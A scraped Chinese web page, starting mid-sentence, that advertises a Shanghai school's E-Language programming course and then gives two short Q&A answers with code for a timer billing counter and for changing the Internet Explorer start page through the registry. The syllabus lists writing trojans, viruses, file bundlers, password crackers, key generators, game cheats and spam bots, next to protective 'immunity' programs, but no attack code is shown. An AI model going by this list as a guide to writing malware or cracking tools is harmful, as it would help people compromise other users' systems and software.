server、MySql、互联网、多媒体、面部识别、语音识别、游戏开发、数码设备控制等等,几乎满足所有的编程需求。入学条件:1.零基础开始,想要成为优秀的易语言编程人员2.已经在企业中担任网络安全管理人员,想要转型为高级网络安全工程师课程目标:上海非凡进修学院本着质量至上的基本原则,在保证教育质量的前提下,将该学科教学体系做出更科学的改革和完善。现行的教学体制将更有利于学生的学习和发展同时为学生就业打下坚实的基础。该专业着重着重以培养学生技能为主,提高学员综合能力,以解决学生就业为目标的教学指导方针,近十年的办学历程,已培养了近万名学生走向不同的工作岗位。一、初级班(48课时)课程内容:1、了解易语言界面、了解易语言编程、实例讲解、简单编写自己的易语言程序。2、易语言变量详解、易语言皮肤支持库的使用、编写MP3播放器。3、认识窗口按钮编辑框事件子程序以及组件。4、初识易语言命令、大小数问题与判断命令。5、循环类命令详细介绍、跳转类流程控制命令详细介绍。6、易语言常用语句介绍、易语言常数的概念以及分类。7、认识常量、如何使用常量。认识静态变量、静态变量应用、变量的命令操作。8、变量数组的定义、动态管理数组变量、9、认识易语言资源表、字节集的概念以及其他资源的调用。10、易语言菜单的简单建立、易语言菜单的属性、引用菜单项编程。11、弹出式菜单、定位弹出菜单、托盘式菜单、菜单中的热键和分隔符。综合实例:上网检测器 多用途工具箱 批处理生成器 IP端口扫描器 U盘免疫器 QQ管理工具 等.二、高级班(48课时)课程内容:1、定时提醒程序的制作、定时关机程序的制作2、了解组件事件、事件的应用3、如何用组件设计程序界面,了解组件的方法之制作网络电视。4、易模块的安装、易模块的使用方法、开始写易模块。5、易语言软件加密技术具 编写移动加密工具6.外部数据库的使用,易数据库的操作,网吧管理系统.7、扩展支持库的封装 OCX与类型库的封装8. DLL的编写与调用9.外挂原理及基本工具使用10. 综合实例: webbrowser 多页面浏览器开发 软件注册机 IP修改器 11.聊天程序制作实例12 如何定义API函数、API函数的综合应用。13 外部DLL库的应用。14 通过易语言编写木马、病毒的范例程序。15 详细讲解病毒、木马程序的编写程序及原理,编写各类病毒及木马的查杀及免疫程序16 编写程序的捆绑程序及防范程序,了解破解密码软件的编写程序及原理,编写防护软件等。17 通过易语言程序编写易语言做论坛灌水机。18 通过易语言编写QQ自动登录器、游戏外挂、程序锁等19 通过易语言详细了解各类远程控制软件的编写原理,以及针对各类远程控制软件编写安全防护程序。20 针对服务器提供不同类型服务,通过易语言编写相应的服务器安全程序,确保服务器的安全及管理等。21、易语言安全编程的综合实训。课程学费:2880元课程周期:全日制1.5个月;业余制3-4个月,共96课时(45分钟/课时)使用教材:院方自编教材、电子教材认证证书:工信部《网络安全工程师》、教育部《高级网络安全工程师》《易语言编程工程师》就业岗位:公司企业的网络架构、网络管理工程师、网络安全工程师,网络管理项目经理师资力量:全部采用有多年的工作经验和教育经验讲师,随时电话来访、实地来访,都可以找老师解决问题、保证每一位学员的质量学院特色(八大优势):※品牌优势:正规办学交大底蕴 ※专业优势:市场导向专业性强※技术优势:行业领先专注技能 ※师资优势:筛选严格实战为先※教学优势:设施先进模式新颖 ※服务优势:360度服务互动评分※考证优势:体系完备权威认证 ※就业优势:四重保障全面指导

易语言做一个像计费系统样的怎么做?

用时钟,将时钟周期设为1000.版本 2.程序集 窗口程序集_启动窗口.程序集变量 m, 整数型.子程序 _时钟1_周期事件m = m + 1编辑框1.内容 = 到文本 (取整 (m ÷ 10)) + “元”

易语言怎么设置360浏览器或者搜狗浏览器主页

修改ie主页参考一下,希望可以帮到你。在窗口添加个编辑框、2个按钮就可以以下是源代码.版本2.支持库xplib.程序集窗口程序集1.子程序__启动窗口_创建完毕XP风格(3)编辑框1.内容=取文本注册项(3,“SoftwareMicrosoftInternetExplorerMainStartPage”,)标签1.标题=编辑框1.内容编辑框1.起始选择位置=3000.子程序_按钮1_被单击.如果真(写注册项(3,“SoftwareMicrosoftInternetExplorerMainStartPage”,编辑框1.内容)=真)信息框(“修改主页成功”,#确认钮+#信息图标,).如果真结束.子程序_编辑框1_按下某键,逻辑型.参数键代码,整数型.参数功能键状态,整数型.如果真(键代码=#回车键)_按钮1_被单击().如果真结束.如果真(键代码=#F5键)_启动窗口.__启动窗口_创建完毕().如果真结束.子程序_按钮2_被单击.如果(标签1.标题≠“about:blank”)写注册项(3,“SoftwareMicrosoftInternetExplorerMainStartPage”,“about:blank”)信息框(“主页已修改为空白页”,#确认钮+#信息图标,)编辑框1.内容=“about:blank”标签1.标题=“about:blank”.否则信息框(“已经是空白页”,#确认钮+#信息图标,).如果结束.子程序_编辑框1_鼠标位置被移动,逻辑型.参数横向位置,整数型.参数纵向位置,整数型.参数功能键状态,整数型标签1.标题=编辑框1.内容